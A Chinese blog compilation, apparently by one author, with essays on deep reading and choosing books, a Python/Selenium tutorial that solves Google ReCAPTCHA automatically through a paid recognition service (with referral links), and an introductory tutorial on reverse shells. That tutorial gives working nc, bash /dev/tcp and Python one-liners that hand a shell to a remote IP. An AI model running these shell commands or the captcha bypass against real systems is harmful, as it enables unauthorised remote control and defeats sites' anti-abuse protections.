我们人总一种倾向性,那就是在读书的时候倾向于去寻找和自己意见观点相似的内容,从一些书中去寻找认同感。

借用《暗时间》里面的一段话:

我们在阅读的时候会无意识地过滤掉不符合我们既有知识和心智结构的知识,以我们情感所中意的方向对事实和观点进行“再解释”,对不符合我们立场、预期和情感诉求的观点弃之如敝履,对合我们立场、预期和情感诉求的观点则不细究其论证过程。

所以,很多时候,我们看似在看一本书,但多数情况下我们只是从大致层面上理解了我们倾向去接受的一些观点,而去忽略一些和我们想法相悖的观点。

结果是什么?只是道理穿肠过,执念心头坐。已有的概念和道理还是存在于我们的脑海里,没有的概念和道理也不会进入到我们的脑海里,其实这种阅读方式就是一种缺乏深度的阅读,这只不过是一些符号记忆,一种模糊认知,是很有问题的。

那说到这,有人可能就问,那什么才是有效的阅读呢?

有效的阅读是要用心去读的,带着思维去到一篇文本之中,去理解为什么作者就提出了这样的观点,这样的观点是怎样一步步论证出来的,论证过程中所用的依据的可信度高不高等等。其实这个过程有点像读论文了,我们读论文的时候一般就会按照上面的过程来分析,如果我们把这个模式应用到读书上,效果也会是很好的。

在阅读的过程中我们同时还要进行一些反面的思考,比如结论的对立面有没有道理,有没有可能通过类似的方式也能佐证结论的对立面。经过反向思考,我们可以强化整个思考的过程,对已有的正确结论的论证有更清晰的认知。因为一个问题的论证,它也有反证法的对不对?

这种阅读才是一种深度、有效的阅读。

但这里需要强调的是,这里说的深度阅读并不是让我们花费很多时间对一篇文章一句话一句话的扣,这里强调的深度阅读是要在阅读的过程中多去思考,去尝试理解其精髓和思维脉络,去辩证地看待一些观点。有时候有些书看起来很冗长的,举了非常多的例子都为了佐证一个观点,但实际上核心的点可能就那么几段话或甚至几句话,我们能够找出其中的关键思维脉络才是最关键的,而不是说要把每个例子也逐句扣完。

再借用《暗时间》里面的一段话:

在这样的阅读中,一篇文本能够帮助我们纠正我们的知识体系中有问题的结论或预设,可能会为我们已经确立的结论提供更深刻的佐证,可能会帮助我们弥补知识体系中的短板,进一步反思我们的知识体系中那些含糊、广而泛之的结论,也可能会彻底纠正我们之前错误的想法,也可能帮我们打开了一个新的知识分支。

如此的阅读,我们头脑中对的认知才能更加强化,同时也可以对我们错误的认知加以纠正,长此以往,我们的思维会在碰撞中不断成长。

非常感谢你的阅读,更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

个人记录

我想多数人应该会对很多事情有所挑剔吧,比如买一件衣服的时候挑挑选选、货比三家最后才定下一件衣服,比如点餐的时候也挑挑选选找出想吃的一家。但有时候大家在看书的时候可能就没有那么“挑剔”,可能心想,这是本书,然后我花时间看书了,好像就可以了,就以为自己学会了,自己用功了,自己进步了,实际上,很多时候可能只是在自己骗自己,寻找一些心里安慰罢了,只是为了临时缓解自己的一些焦虑感罢了,但实际上真正有没有进步,有没有学到东西,要看自己是否真正去用心学了,当然另一方面也取决于书本身的质量好不好。

所以,上面提到了看一本书的关键两个点:

  • 一个是是否用心去看、去思考了。
  • 一个是书本身的质量如何。

今天,我们专门来说说第二点。

选一本好书,其实对我们的时间负责。

我们每个人的时间都是宝贵的,有时候我们随意地找本书烂书来看,说实话还不如不看。去花时间选一本好书,做好选书的功课是非常重要的。有时候决定读一本书之前,稍微花一点点时间去网上看看评价,综合分析一下,就能比较快地知道这本书到底值不值得看。因为有时候读一本书的时候我们可能花很多时间去深入阅读,在深入阅读之前,迅速了解一本书的质量可以帮我们节省很多的时间,甚至说看到某本书质量完全不行,那直接摒弃不看,那就省去了看这本书的时间,对不对?

个人建议,多读那些经典好书。

那么问题来了,怎么知道一本书是好书呢?依我个人而言,主要有这么几个点:

  • 看评价。我们说群众的眼睛是雪亮的,一千个读者会有一千个哈姆雷特。所以,每个人看完书之后都可能会有不同视角的评价。个人建议去豆瓣、亚马逊上先去看看评价是怎样的,比如评分过低两三分的那种直接 pass 就行了。另外除了看评分,也去看看一些文字评价,特别要注意去看看那些低分评价是怎么说的,多数情况下,一些小众的低分评价可能更多来自于一些懂行的人,而一些大众的高分评价很可能是浮于表面的评价或者甚至是刷的。所以,如果我们从一些低分评价里面都找不出来一些实质的反驳观点,那基本上这本书应该是不错的了。
  • 看目录和简介。通常情况下,一本书的目录和简介都是公开的。通过目录我们能够快速地了解到这本书讲了什么内容,是不是符合我们的期望,有没有我们真正想学的内容。通过简介我们可以大致了解这本书的写作初衷,解决了什么痛点,传达给我们什么信息,另外我们还能通过简介大致了解到作者的思维脉络。基本上一本书要有一个清晰有层次的目录和简介,这本书就差不到哪里去。
  • 看作者。这个其实分两种情况了,一种情况是我们知道这个作者,另一种情况是我们不知道这个作者。对于前者,如果他是一个知名作家、教授或者曾经写过一些优秀的作品,那么他的某本书应该差不了。对于后者,我们可以去查阅他的相关简介、履历,尝试了解一些他的其他作品,了解下他人对作者的评价,如果不错的话,那么该作者的作品应该大概率会不错的。
  • 看样章。一些书的网站上通常都会有一些试读章节,我们可以选一些章节来阅读下。比如条理是否清晰、内容是否深刻,其实读上个几页或者两三节我们就知道了。如果样章的内容都让我们感到不知所云,那么整本书应该就不值得读了。

好,那知道了好书的一些评判标准,那从哪里找到一些好书呢?

  • 排行榜:这其实和看电影是类似的了,比如一些豆瓣上的优秀书单,一些高分评价的书,通常都差不了。
  • 朋友推荐:一般来说,一个人能跟我们成为朋友,那他的思维和三观应该不会和我们差太多。那如果朋友觉得还不错的话,我们应该也多数情况下不会觉得很差的。另外,朋友一般在推荐书的时候,可能真的会挑自己印象最深刻的或者近期读到的最值得说的书告诉我们,所以这个信息其实是朋友又帮我们经过了一些筛选得到的,所以多数情况下,一些朋友推荐的书质量应该还都不错。
  • 引用:一本好的书籍或作品,往往在其他多数作品、文章、论文里面会被引用,这个信息我们也值得注意下。比如我最近读了刘未鹏的《暗时间》,他的书里面推荐了几本关于思维的书籍《这才是心理学》、《你的灯亮着吗》、《合作的进化》等书,应该都差不了。
  • 同一作者的著作:我们觉得某本书写得还不错,那么该作者的其他书籍应该也在多数情况下会不错。就像一个歌手出了一首不错的歌,那么其他的一些歌的质量应该也差不了。一样的道理。

好了,今天就唠到这里,总结下,这篇文章主要讲了:

  • 多读那些经典好书,选一本好书,其实对我们的时间负责。
  • 怎样知道一本书是一本好书。
  • 怎样去寻找一本好书。

希望对大家有所启发~

本文部分论点来源:《暗时间》

非常感谢你的阅读,更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

爬虫

大家好,我是崔庆才。

之前的时候我分享过 ReCAPTCHA 的破解方案,那种方案是获取到 ReCAPTCHA 其中的一个 siteKey,然后将 siteKey 直接提交给 ReCAPTCHA 相关的破解服务来实现破解。

这次,我们再来介绍一种更灵活更强大的全模拟点击破解方案,整体思路就是将全部的验证码图片进行识别,并根据识别结果对 ReCAPTCHA 验证码进行模拟点击,从而最终通过验证码。

ReCAPTCHA 介绍

在开始之前,我这里先简单提下什么是 ReCAPTCHA,可能大家见的不多,因为这个验证码在国内并没有那么普及。

验证码是类似这样子的:

我们这时候需要点击验证码上的小框来触发验证,通常情况下,验证码会呈现如下的点选图:

比如上面这张图,验证码页面会出现九张图片,同时最上方出现文字「树木」,我们需要点选下方九张图中出现「树木」的图片,点选完成之后,可能还会出现几张新的图片,我们需要再次完成点选,最后点击「验证」按钮即可完成验证。

ReCAPTCHA 也有体验地址,大家可以打开 https://www.google.com/recaptcha/api2/demo 查看,打开之后,我们可以发现有如上图所示的内容,然后点选图片进行识别即可。

整体识别思路

其实我们看,这种验证码其实主要就是一些格子的点选,我们只要把一些相应的位置点击对了,最后就能验证通过了。

经过观察我们发现,其实主要是 3x3 和 4x4 方格的验证码,比如 3x3 的就是这样的:

4x4 的就是这样的:

然后验证码上面还有一行加粗的文字,这就是我们要点选的目标。

所以,关键点就来了:

  • 第一就是把上面的文字内容找出来,以便于我们知道要点击的内容是什么。

  • 第二就是我们要知道哪些目标图片和上面的文字是匹配的,找到了依次模拟点击就好了。

听起来似乎很简单的对吧,但第二点是一个难点,我们咋知道哪些图片和文字匹配的呢?这就难搞了。

其实,这个靠深度学习是能做到的,但要搞出这么一个模型是很不容易的,我们需要大量的数据来训练,需要收集很多验证码图片和标注结果,这总的工作量是非常大的。

那怎么办呢?这里给大家介绍一个服务网站 YesCaptcha,这个服务网站已经给我们做好了识别服务,我们只需要把验证码的大图提交上去,然后同时告诉服务需要识别的内容是什么,这个服务就可以返回对应识别结果了。

下面我们来借助 YesCaptcha 来试试识别过程。

YesCaptcha

在使用之前我们需要先注册下这个网站,网站地址是 https://yescaptcha.com/i/CnZPBu,注册个账号之后大家可以在后台获取一个账户密钥,也就是 ClientKey,保存备用。

OK,然后我们可以查看下这里的官方文档:https://yescaptcha.atlassian.net/wiki/spaces/YESCAPTCHA/pages/18055169/ReCaptchaV2Classification+reCaptcha+V2,这里介绍介绍了一个 API,大致内容是这样的。

首先有一个创建任务的 API,API 地址为 https://api.yescaptcha.com/createTask,然后看下请求参数:

这里我们需要传入这么几个参数:

  • type:内容就是 ReCaptchaV2Classification

  • image:是验证码对应的 Base64 编码

  • question:对应的问题 ID,也就是识别目标的代号。

比如这里我们可以 POST 这样的一个内容给服务器,结构如下:

1
2
3
4
5
6
7
8
{
"clientKey": "cc9c18d3e263515c2c072b36a7125eecc078618f",
"task": {
"type": "ReCaptchaV2Classification",
"image": "/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDc....",
"question": "/m/0k4j"
}
}

其中这里 image 就可以是一个 3x3 或者 4x4 的验证码截图对应的 Base64 编码的字符串。

然后服务器就会返回类似这样的响应:

1
2
3
4
5
6
7
8
9
10
11
{
"errorId": 0,
"errorCode": "",
"errorDescription": "null",
"status": "ready",
"taskId": "3a9e8cb8-3871-11ec-9794-94e6f7355a0b",
"solution": {
"objects": [1,5,8], // 图像需要点击的位置
"type": "multi"
}
}

OK,我们可以看到,返回结果的 solution 字段中的 objects 字段就包含了一些代号,比如这里是 1, 5, 8,什么意思呢?这个就是对应的目标点击代号。

对于 3x3 的图片来说,对应的代号就是这样的:

对于 4x4 的图片来说,对应的代号就是这样的:

OK,知道了代号之后,模拟点击就好办多了吧,我们用一些模拟点击操作就可以完成了。

代码基础实现

行,那有了基本思路之后,那我们就开始用 Python 实现下整个流程吧,这里我们就拿 https://www.google.com/recaptcha/api2/demo 这个网站作为样例来讲解下整个识别和模拟点击过程。

识别封装

首先我们对上面的任务 API 实现一下封装,来先写一个类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from loguru import logger
from app.settings import CAPTCHA_RESOLVER_API_KEY, CAPTCHA_RESOLVER_API_URL
import requests

class CaptchaResolver(object):

def __init__(self, api_url=CAPTCHA_RESOLVER_API_URL, api_key=CAPTCHA_RESOLVER_API_KEY):
self.api_url = api_url
self.api_key = api_key

def create_task(self, image_base64_string, question_id):
logger.debug(f'start to recognize image for question {question_id}')
data = {
"clientKey": self.api_key,
"task": {
"type": "ReCaptchaV2Classification",
"image": image_base64_string,
"question": question_id
}
}
try:
response = requests.post(self.api_url, json=data)
result = response.json()
logger.debug(f'captcha recogize result {result}')
return result
except requests.RequestException:
logger.exception(
'error occurred while recognizing captcha', exc_info=True)

OK,这里我们就先定义了一个类 CaptchaResolver,然后主要接收两个参数,一个就是 api_url,这个对应的就是 https://api.yescaptcha.com/createTask 这个 API 地址,然后还有一个参数是 api_key,这个就是前文介绍的那个 ClientKey。

接着我们定义了一个 create_task 方法,接收两个参数,第一个参数 image_base64_string 就是验证码图片对应的 Base64 编码,第二个参数 question_id 就是要识别的目标是什么,这里就是将整个请求用 requests 模拟实现了,最后返回对应的 JSON 内容的响应结果就好了。

基础框架

OK,那么接下来我们来用 Selenium 来模拟打开这个实例网站,然后模拟点选来触发验证码,接着识别验证码就好了。

首先写一个大致框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import time
from selenium import webdriver
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.remote.webelement import WebElement
from selenium.webdriver.common.action_chains import ActionChains
from app.captcha_resolver import CaptchaResolver


class Solution(object):
def __init__(self, url):
self.browser = webdriver.Chrome()
self.browser.get(url)
self.wait = WebDriverWait(self.browser, 10)
self.captcha_resolver = CaptchaResolver()

def __del__(self):
time.sleep(10)
self.browser.close()

这里我们先在构造方法里面初始化了一个 Chrome 浏览器操作对象,然后调用对应的 get 方法打开实例网站,接着声明了一个 WebDriverWait 对象和 CaptchaResolver 对象,以分别应对节点查找和验证码识别操作,留作备用。

iframe 切换支持

接着,下一步我们就该来模拟点击验证码的入口,来触发验证码了对吧。

通过观察我们发现这个验证码入口其实是在 iframe 里面加载的,对应的 iframe 是这样的:

另外弹出的验证码图片又在另外一个 iframe 里面,如图所示:

Selenium 查找节点是需要切换到对应的 iframe 里面才行的,不然是没法查到对应的节点,也就没法模拟点击什么的了。

所以这里我们定义几个工具方法,分别能够支持切换到入口对应的 iframe 和验证码本身对应的 iframe,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_captcha_entry_iframe(self) -> WebElement:
self.browser.switch_to.default_content()
captcha_entry_iframe = self.browser.find_element_by_css_selector(
'iframe[title="reCAPTCHA"]')
return captcha_entry_iframe

def switch_to_captcha_entry_iframe(self) -> None:
captcha_entry_iframe: WebElement = self.get_captcha_entry_iframe()
self.browser.switch_to.frame(captcha_entry_iframe)

def get_captcha_content_iframe(self) -> WebElement:
self.browser.switch_to.default_content()
captcha_content_iframe = self.browser.find_element_by_xpath(
'//iframe[contains(@title, "recaptcha challenge")]')
return captcha_content_iframe

def switch_to_captcha_content_iframe(self) -> None:
captcha_content_iframe: WebElement = self.get_captcha_content_iframe()
self.browser.switch_to.frame(captcha_content_iframe)

这样的话,我们只需要调用 switch_to_captcha_content_iframe 就能查找验证码图片里面的内容,调用 switch_to_captcha_entry_iframe 就能查找验证码入口里面的内容。

触发验证码

OK,那么接下来的一步就是来模拟点击验证码的入口,然后把验证码触发出来了对吧,就是模拟点击这里:

实现很简单,代码如下:

1
2
3
4
5
6
7
8
9
10
def trigger_captcha(self) -> None:
self.switch_to_captcha_entry_iframe()
captcha_entry = self.wait.until(EC.presence_of_element_located(
(By.ID, 'recaptcha-anchor')))
captcha_entry.click()
time.sleep(2)
self.switch_to_captcha_content_iframe()
entire_captcha_element: WebElement = self.get_entire_captcha_element()
if entire_captcha_element.is_displayed:
logger.debug('trigged captcha successfully')

这里首先我们首先调用 switch_to_captcha_entry_iframe 进行了 iframe 的切换,然后找到那个入口框对应的节点,然后点击一下。

点击完了之后我们再调用 switch_to_captcha_content_iframe 切换到验证码本身对应的 iframe 里面,查找验证码本身对应的节点是否加载出来了,如果加载出来了,那么就证明触发成功了。

找出识别目标

OK,那么现在验证码可能就长这样子了:

那接下来我们要做的就是两件事了,一件事就是把匹配目标找出来,就是上图中的加粗字体,第二件事就是把验证码进行保存,然后转成 Base64 编码,提交给 CaptchaResolver 来识别。

好,那么怎么查找匹配目标呢?也就是上图中的 traffice lights,用 Selenium 常规的节点搜索就好了:

1
2
3
4
def get_captcha_target_name(self) -> WebElement:
captcha_target_name_element: WebElement = self.wait.until(EC.presence_of_element_located(
(By.CSS_SELECTOR, '.rc-imageselect-desc-wrapper strong')))
return captcha_target_name_element.text

通过调用这个方法,我们就能得到上图中类似 traffic lights 的内容了。

验证码识别

接着,我们对验证码图片进行下载,然后转 Base64 进行识别吧,整体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def verify_entire_captcha(self):
self.entire_captcha_natural_width = self.get_entire_captcha_natural_width()
logger.debug(
f'entire_captcha_natural_width {self.entire_captcha_natural_width}'
)
self.captcha_target_name = self.get_captcha_target_name()
logger.debug(
f'captcha_target_name {self.captcha_target_name}'
)
entire_captcha_element: WebElement = self.get_entire_captcha_element()
entire_captcha_url = entire_captcha_element.find_element_by_css_selector(
'td img').get_attribute('src')
logger.debug(f'entire_captcha_url {entire_captcha_url}')
with open(CAPTCHA_ENTIRE_IMAGE_FILE_PATH, 'wb') as f:
f.write(requests.get(entire_captcha_url).content)
logger.debug(
f'saved entire captcha to {CAPTCHA_ENTIRE_IMAGE_FILE_PATH}')
resized_entire_captcha_base64_string = resize_base64_image(
CAPTCHA_ENTIRE_IMAGE_FILE_PATH, (self.entire_captcha_natural_width,
self.entire_captcha_natural_width))
logger.debug(
f'resized_entire_captcha_base64_string, {resized_entire_captcha_base64_string[0:100]}...')
entire_captcha_recognize_result = self.captcha_resolver.create_task(
resized_entire_captcha_base64_string,
get_question_id_by_target_name(self.captcha_target_name)
)

这里我们首先获取了一些验证码的基本信息:

  • entire_captcha_natural_width:验证码图片对应的图片真实大小,这里如果是 3x3 的验证码图片,那么图片的真实大小就是 300,如果是 4x4 的验证码图片,那么图片的真实大小是 450
  • captcha_target_name:识别目标名称,就是刚才获取到的内容
  • entire_captcha_element:验证码图片对应的节点对象。

这里我们先把 entire_captcha_element 里面的 img 节点拿到,然后将 img 的 src 内容获取下来,赋值为 entire_captcha_url,这样其实就得到了一张完整的验证码大图,然后我们将其写入到文件中。

结果就类似这样的:

接着我们把这个图片发给 YesCaptcha 进行识别就好了。

Base64 编码

接着,我们把这张图片转下 Base64 编码,定义这样一个方法:

1
2
3
4
5
6
7
8
9
def resize_base64_image(filename, size):
width, height = size
img = Image.open(filename)
new_img = img.resize((width, height))
new_img.save(CAPTCHA_RESIZED_IMAGE_FILE_PATH)
with open(CAPTCHA_RESIZED_IMAGE_FILE_PATH, "rb") as f:
data = f.read()
encoded_string = base64.b64encode(data)
return encoded_string.decode('utf-8')

这里值得注意的是,由于 API 对图片大小有限制,如果是 3x3 的图片,那么我们需要将图片调整成 300x300 才可以,如果是 4x4 的图片,那么我们需要将图片调整成 450x450,所以这里我们先调用了 Image 的 resize 方法调整了大小,接着再转成了 Base64 编码。

问题 ID 处理

那问题 ID 怎么处理呢?通过 API 文档 https://yescaptcha.atlassian.net/wiki/spaces/YESCAPTCHA/pages/18055169 我们可以看到如下映射表:

所以,比如假如验证码里面我们得到的是 traffic lights,那么问题 ID 就是 /m/015qff,行,那我们反向查找就好了,定义这么个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
CAPTCHA_TARGET_NAME_QUESTION_ID_MAPPING = {
"taxis": "/m/0pg52",
"bus": "/m/01bjv",
"school bus": "/m/02yvhj",
"motorcycles": "/m/04_sv",
"tractors": "/m/013xlm",
"chimneys": "/m/01jk_4",
"crosswalks": "/m/014xcs",
"traffic lights": "/m/015qff",
"bicycles": "/m/0199g",
"parking meters": "/m/015qbp",
"cars": "/m/0k4j",
"vehicles": "/m/0k4j",
"bridges": "/m/015kr",
"boats": "/m/019jd",
"palm trees": "/m/0cdl1",
"mountains or hills": "/m/09d_r",
"fire hydrant": "/m/01pns0",
"fire hydrants": "/m/01pns0",
"a fire hydrant": "/m/01pns0",
"stairs": "/m/01lynh",
}


def get_question_id_by_target_name(target_name):
logger.debug(f'try to get question id by {target_name}')
question_id = CAPTCHA_TARGET_NAME_QUESTION_ID_MAPPING.get(target_name)
logger.debug(f'question_id {question_id}')
return question_id

这样传入名称,我们就可以得到问题 ID 了。

最后将上面的参数直接调用 CaptchaResovler 对象的 create_task 方法就能得到识别结果了。

模拟点击

得到结果之后,我们知道返回结果的 objects 就是需要点击的验证码格子的列表,下面进行模拟点击即可:

1
2
3
4
5
6
7
single_captcha_elements = self.wait.until(EC.visibility_of_all_elements_located(
(By.CSS_SELECTOR, '#rc-imageselect-target table td')))
for recognized_index in recognized_indices:
single_captcha_element: WebElement = single_captcha_elements[recognized_index]
single_captcha_element.click()
# check if need verify single captcha
self.verify_single_captcha(recognized_index)

这里我们首先得到了 recognized_indices 就是识别结果对应的标号,然后逐个遍历进行模拟点击。

对于每次点击,我们可以直接获取所有的验证码格子对应的节点,然后调用其 click 方法就可以完成点击了,其中格子的标号和返回结果的对应关系如图:

当然我们也可以通过执行 JavaScript 来对每个节点进行模拟点击,效果是类似的。

这样我们就可以实现验证码小图的逐个识别了。

小图识别

等等,在识别过程中还发现了一个坑,那就是有时候我们点击完一个小格子之后,这个小格子就消失了!然后在原来的小格子的位置出现了一个新的小图,我们需要对新出现的图片进行二次识别才可以。

这个怎么处理呢?

我们其实可以在每点击完一个格子之后就来校验下当前小格子有没有图片刷新,如果有图片刷新,那么对应的 HTML 的 class 就会变化,否则就会包含 selected 字样,然后我们再继续对小格子对应的图进行二次识别就好了。

这里我们再定义一个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def verify_single_captcha(self, index):
time.sleep(3)
elements = self.wait.until(EC.visibility_of_all_elements_located(
(By.CSS_SELECTOR, '#rc-imageselect-target table td')))
single_captcha_element: WebElement = elements[index]
class_name = single_captcha_element.get_attribute('class')
logger.debug(f'verifiying single captcha {index}, class {class_name}')
if 'selected' in class_name:
logger.debug(f'no new single captcha displayed')
return
logger.debug('new single captcha displayed')
single_captcha_url = single_captcha_element.find_element_by_css_selector(
'img').get_attribute('src')
logger.debug(f'single_captcha_url {single_captcha_url}')
with open(CAPTCHA_SINGLE_IMAGE_FILE_PATH, 'wb') as f:
f.write(requests.get(single_captcha_url).content)
resized_single_captcha_base64_string = resize_base64_image(
CAPTCHA_SINGLE_IMAGE_FILE_PATH, (100, 100))
single_captcha_recognize_result = self.captcha_resolver.create_task(
resized_single_captcha_base64_string, get_question_id_by_target_name(self.captcha_target_name))
if not single_captcha_recognize_result:
logger.error('count not get single captcha recognize result')
return
has_object = single_captcha_recognize_result.get(
'solution', {}).get('hasObject')
if has_object is None:
logger.error('count not get captcha recognized indices')
return
if has_object is False:
logger.debug('no more object in this single captcha')
return
if has_object:
single_captcha_element.click()
# check for new single captcha
self.verify_single_captcha(index)

OK,这里我们定义了一个 verify_single_captcha 方法,然后传入了格子对应的序号。接着我们首先尝试查找格子对应的节点,然后找出对应的 HTML 的 class 属性。如果没有出现新的小图,那就是这样的选中状态,对应的 class 就包含了 selected 字样,如图所示:

对于这样的图片,我们就不需要进行二次验证,否则就需要对这个格子进行截图和二次识别。

二次识别的步骤也是一样的,我们需要将小格子对应的图片单独获取其 url,然后下载下来,接着调整大小并转化成 Base64 编码,然后发给 API,API 会通过一个 hasObject 字段告诉我们这个小图里面是否包含我们想要识别的目标内容,如果是,那就接着点击,然后递归进行下一次检查,如果不是,那就跳过。

点击验证

好,那么有了上面的逻辑,我们就能完成整个 ReCAPTCHA 的识别和点选了。

最后,我们模拟点击验证按钮就好了:

1
2
3
4
5
6
7
8
9
10
def get_verify_button(self) -> WebElement:
verify_button = self.wait.until(EC.presence_of_element_located(
(By.CSS_SELECTOR, '#recaptcha-verify-button')))
return verify_button

# after all captcha clicked
verify_button: WebElement = self.get_verify_button()
if verify_button.is_displayed:
verify_button.click()
time.sleep(3)

校验结果

点击完了之后,我们可以尝试检查网页变化,看看有没有验证成功。

比如验证成功的标志就是出现一个绿色小对勾:

检查方法如下:

1
2
3
4
5
6
7
8
def get_is_successful(self):
self.switch_to_captcha_entry_iframe()
anchor: WebElement = self.wait.until(EC.visibility_of_element_located((
By.ID, 'recaptcha-anchor'
)))
checked = anchor.get_attribute('aria-checked')
logger.debug(f'checked {checked}')
return str(checked) == 'true'

这里我们先切换了 iframe,然后检查了对应的 class 是否是符合期望的。

最后如果 get_is_successful 返回结果是 True,那就代表识别成功了,那就整个完成了。

如果返回结果是 False,我们可以进一步递归调用上述逻辑进行二次识别,直到识别成功即可。

代码

以上代码可能比较复杂,这里我将代码进行了规整,然后放到 GitHub 上了,大家如有需要可以自取:https://github.com/Python3WebSpider/RecaptchaResolver

注册地址

最后需要说明一点,上面的验证码服务是收费的,每验证一次可能花一定的点数,比如识别一次 3x3 的图要花 10 点数,而充值一块钱就能获得 1000 点数,所以识别一次就一分钱,还是比较便宜的。

我这里充值了好几万点数,然后我就变成了 VIP5级的账号。我研究了下发现大家如果用我的邀请链接 https://yescaptcha.com/i/CnZPBu 注册大家可以直接变成 VIP4,然后 VIP4可以获取首充赠送 10% 的优惠,还不错哈~

希望本文对大家有帮助。

非常感谢你的阅读,更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

技术杂谈

前段时间被一位产品经理嘲笑了,说我居然连反弹 Shell 都不知道!

说实话当时我还真不知道,但这口气咽不下去啊,得赶紧学来看看,这不,我已经学会了!

学完之后我特地来记录下,同时分享给大家,以后产品经理再也不敢嘲笑我们不懂反弹 Shell 了!

什么是反弹 Shell

我们都知道 Shell 的概念吧,简单来说,Shell 就是实现用户命令的接口,通过这个接口我们就能实现对计算机的控制,比如我们常见的 ssh 就是执行的 Shell 命令实现对远程对服务器的控制。

那反弹 Shell 是啥呢?其英文名叫做 Reverse Shell,具体干什么的呢?就是控制端首先监听某个 TCP/UDP 端口,然后被控制端向这个端口发起一个请求,同时将自己命令行的输入输出转移到控制端,从而控制端就可以输入命令来控制被控端了。

比如说,我们有两台主机 A、B,我们最终想实现在 A 上控制 B。那么如果用正向 Shell,其实就是在 A 上输入 B 的连接地址,比如通过 ssh 连接到 B,连接成功之后,我们就可以在 A 上通过命令控制 B 了。如果用反向 Shell,那就是在 A 上先开启一个监听端口,然后让 B 去连接 A 的这个端口,连接成功之后,A 这边就能通过命令控制 B了。

反弹 Shell 有什么用?

还是原来的例子,我们想用 A 来控制 B,如果想用 ssh 等命令来控制,那得输入 B 的 sshd 地址或者端口对吧?但是在很多情况下,由于防火墙、安全组、局域网、NAT 等原因,我们实际上是无法直接连接到 B 的,比如:

  • A 虽然有公网 IP,但 B 是一个处于内网的机器,A 就没法直接连到 B 上。

  • B 上开了防火墙或者安全组限制,sshd 的服务端口 22 被封闭了。

  • B 是一台拨号主机,其 IP 地址经常变动。

  • 假如 B 被攻击了,我们想让 B 向 A 汇报自己的状况,那自然就需要 B 主动去连接 A。

如果是这些情况,我们就可以用反弹 Shell 用 A 来控制 B 了。

反弹 Shell 案例

首先我们先看一个标准的反弹 Shell 的例子,这里我们一共需要两台主机:

  • A 是控制端,可以处于公网之中,也可以和 B 处于一个局域网中,总之能让 B 找到 A 就行。

  • B 是被控端,可以处在局域网之中。

在开始之前我们需要用到 nc 命令,安装非常简单。

如果是 CentOS 系列系统,安装命令如下:

1
yum install -y nc # CentOS

如果是 Ubuntu 系列系统,安装命令可以参考 https://stackoverflow.com/questions/10065993/how-to-switch-to-netcat-traditional-in-ubuntu

接着,我们在 A 上执行如下命令:

1
nc -lvp 32767

这个命令的意思是开启 32767 的端口监听,运行之后如图所示:

这样就表明 A 上正在监听 32767 端口的连接了。

这时候,我们可以在 B 上通过类似的命令连接到 A,假如 A 的 IP 是 111.112.113.114,那么命令如下:

1
nc 111.112.113.114 32767 -e /bin/bash

注意:你在运行的时候需要替换成 A 的真实 IP 和端口。

运行完毕之后,我们反过来观察下 A,就显示了来自某个 IP 和端口的连接,我们就可以输入命令来控制 B 了,比如这里我们输入了:

1
uname -a

然后就可以得到 B 的主机名了。

如图所示:

这样我们就通过 nc 包实现了反弹 Shell。

有人说,这 B 上一定需要安装 nc 这个包吗?其实不一定的,我们可以直接使用 bash 来实现反弹 Shell,命令如下:

1
bash -i >& /dev/tcp/111.112.113.114/32767 0>&1

这个命令大致解释下:

  • bash -i 就是产生一个 bash 交互环境

  • >&可以将 bash 交互环境的输入、输出、错误输出都输出到一个地方

  • /dev/tcp/111.112.113.114/32767 其实指的就是目标主机的一个连接地址,因为 Linux 环境中所有内容的定义都是以文件的形式存在的,指定这个地址就是让主机和目标主机建立一个 TCP 连接。

  • 0>&1可以将标准输入和标准输出相结合,重定向给前面标准输出的内容。

通过这样的命令,我们就可以就是将 B的标准输出和错误输出都重定向给 A,并且将 A 的输入都重定向给 B,这样我们就可以实现 A 对 B 的远程控制了,如图所示:

比如这样我们就可以轻松在 A 主机上拿到 B 主机的主机名、当前所处路径等内容了。

另外除了用 bash,我们还可以利用 Python 进行反弹 Shell,脚本如下:

1
2
3
4
5
6
7
python -c 'import socket,subprocess,os; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("111.112.113.114",32767));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

可以达到同样反弹 Shell 的效果,即可以用 A 来控制 B。

总结

以上就是反弹 Shell 的介绍,灵活运用反弹 Shell 可以大大便利某些场景下的远程控制,希望对大家有帮助。

更多精彩内容,请关注我的公众号「进击的 Coder」和「崔庆才丨静觅」。

Python

大家好,我是崔庆才,非常高兴能在此处与您相见,无论您对爬虫有所涉猎还是初学爬虫,我希望我撰写的本 Python 爬虫系列教程能对您有所帮助。

要学爬虫,首推的就是 Python 语言,简单快速易上手,且 Python 语言的爬虫生态极其丰富。

我个人于 2015 年研究 Python 爬虫技术,并于 2018 年出版了个人第一版爬虫书《Python3 网络爬虫开发实战》,出版至今,此本书一直处于市面上所有爬虫书的销冠位置,销量 10w 册,豆瓣评分 9.0。

